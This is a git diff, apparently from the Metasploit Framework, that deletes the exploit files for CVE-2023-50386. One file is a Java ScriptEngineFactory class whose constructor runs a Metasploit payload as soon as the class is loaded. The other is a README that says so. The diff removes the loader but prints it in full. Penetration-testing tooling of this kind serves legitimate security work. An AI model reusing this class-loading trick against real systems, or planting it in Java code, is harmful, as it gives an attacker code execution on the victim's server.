diff --git a/external/source/exploits/CVE-2023-50386/MyScriptEngineFactory.java b/external/source/exploits/CVE-2023-50386/MyScriptEngineFactory.java deleted file mode 100644 index 1c8e414499808..0000000000000 --- a/external/source/exploits/CVE-2023-50386/MyScriptEngineFactory.java +++ /dev/null @@ -1,72 +0,0 @@ -// javac -cp path/to/metasploit-framework/data/java MyScriptEngineFactory.java -import javax.script.ScriptEngine; -import javax.script.ScriptEngineFactory; -import java.io.IOException; -import java.util.List; -import metasploit.*; - -public class MyScriptEngineFactory implements ScriptEngineFactory { - public MyScriptEngineFactory() throws Exception { - Payload.main(null); - } - - @Override - public String getEngineName() { - return null; - } - - @Override - public String getEngineVersion() { - return null; - } - - @Override - public List getExtensions() { - return null; - } - - @Override - public List getMimeTypes() { - return null; - } - - @Override - public List getNames() { - return null; - } - - @Override - public String getLanguageName() { - return null; - } - - @Override - public String getLanguageVersion() { - return null; - } - - @Override - public Object getParameter(String key) { - return null; - } - - @Override - public String getMethodCallSyntax(String obj, String m, String... args) { - return null; - } - - @Override - public String getOutputStatement(String toDisplay) { - return null; - } - - @Override - public String getProgram(String... statements) { - return null; - } - - @Override - public ScriptEngine getScriptEngine() { - return null; - } -} \ No newline at end of file diff --git a/external/source/exploits/CVE-2023-50386/README.md b/external/source/exploits/CVE-2023-50386/README.md deleted file mode 100644 index 54f18fff40989..0000000000000 --- a/external/source/exploits/CVE-2023-50386/README.md +++ /dev/null @@ -1,2 +0,0 @@ -# Overview -The Java file contained within will load and execute a Metasploit payload, hopefully :fingers-crossed: \ No newline at end of file